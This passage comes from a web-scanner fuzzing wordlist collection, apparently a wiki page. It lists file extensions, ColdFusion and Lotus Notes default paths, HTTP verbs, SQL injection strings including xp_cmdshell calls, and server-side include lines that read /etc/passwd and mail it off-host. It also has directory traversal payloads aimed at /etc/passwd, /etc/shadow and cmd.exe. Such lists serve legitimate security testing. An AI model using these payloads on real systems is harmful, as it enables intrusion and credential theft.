.wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> 